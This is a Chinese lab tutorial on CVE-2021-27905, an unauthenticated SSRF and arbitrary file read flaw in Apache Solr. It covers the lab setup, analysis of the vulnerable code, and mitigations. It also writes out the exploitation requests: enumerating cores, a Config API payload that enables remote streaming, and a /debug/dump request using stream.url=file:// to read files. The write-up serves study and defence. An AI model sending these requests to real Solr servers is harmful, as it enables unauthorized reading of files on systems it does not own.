预备知识
1. 漏洞信息
漏洞编号:CVE-2021-27905
漏洞名称:Apache Solr SSRF漏洞
漏洞描述:Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。该漏洞是由于Solr默认安装未开启身份验证,攻击者可未授权通过Config API修改配置,导致SSRF和任意文件读取。
影响版本:Apache Solr <= 8.8.1
2. ApacheSolr相关实验
<CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞>
实验目的
通过实验学习Apache Solr SSRF及任意文件读取漏洞的产生原因和利用方式。
实验环境
Attack:Kali Linux
Target:Windows 10、IP:10.1.1.200
实验步骤一
任务描述:漏洞环境:源码搭建及创建core。
1. target机器下载漏洞环境并解压,进入bin目录,执行solr start -p 8983
2. 浏览器访问http://ip:8983即可看到solr的主界面:
3. 刚下载的环境是没有core的,点击左侧的Core Admin来创建一个core:
4. 直接点击Add Core发现报错:
5. 但是此时Solr已经在/server/solr目录下创建了名为new_core的文件夹,需要把/server/solr/configsets/_default文件夹下的conf目录整个拷贝到new_core文件夹下:
6. 复制完成后再点击Add Core即可创建成功:
实验步骤二
任务描述:漏洞代码块分析。
1. 漏洞代码块 文章来源:https://www.toymoban.com/news/detail-411994.html
https://github.com/apache/solr/blob/main/solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java:
这里获取stream.url参数并调用了URLStream。
2. 跟进URLStream:
发现其getStream()方法与url建立了连接,导致SSRF漏洞。
3. 同样在SolrRequestParsers.java文件中:
和SSRF代码类似,这里调用的是ContentStreamBase.FileStream。
4. 跟进FileStream:
没有任何过滤,所以可以读取任意文件。
实验步骤三
任务描述:漏洞复现,获取core_name,发送请求开启远程读取文件流,任意文件读取。
1. Attack机器通过浏览器访问http://ip:8983/solr/admin/cores?indexInfo=false&wt=json,可以获取目标机器core的名字:
2. 利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关。
访问http://ip:8983/solr/core_name/config,使用burp发送以下POST请求包:
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
注意修改MIME类型为application/json
可以测试是否存在漏洞,响应码为200,说明远程读取流文件配置开启成功。
3. 开启后寻找某个路径进行文件读取,在 https://github.com/apache/solr/blob/7ada4032180b516548fc0263f42da6a7a917f92b/solr/core/src/resources/ImplicitPlugins.json 中提供了很多请求路径。
4. 其中/debug/dump主要是输出一些请求头和响应头信息,可以针对该路径进行利用:
POST/solr/core_name/debug/dump
stream.url=file://想要读取的文件名称
例如读取hosts文件:C:\Windows\System32\drivers\etc\hosts
stream.url参数触发SSRF漏洞,Java中可以利用file协议实现任意文件读取。
实验步骤四
任务描述:漏洞检测POC测试。
1. Attack机器下载漏洞检测POC并解压:
2. 执行漏洞检测POC并输入待检测的URL:
3. 输入想要读取的文件名称:
漏洞修复
将Solr端口仅对内网开放,并配置访问策略:
1、 关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入:
set SOLR_OPTS=%SOLR_OPTS%-Ddisable.configEdit=true
2、 关闭远程读取文件流,修改core_name/conf/configoverlay.json中的远程读取文件流的配置修改为false:
文章来源地址https://www.toymoban.com/news/detail-411994.html
到了这里,关于CVE-2021-27905 Apache Solr SSRF漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!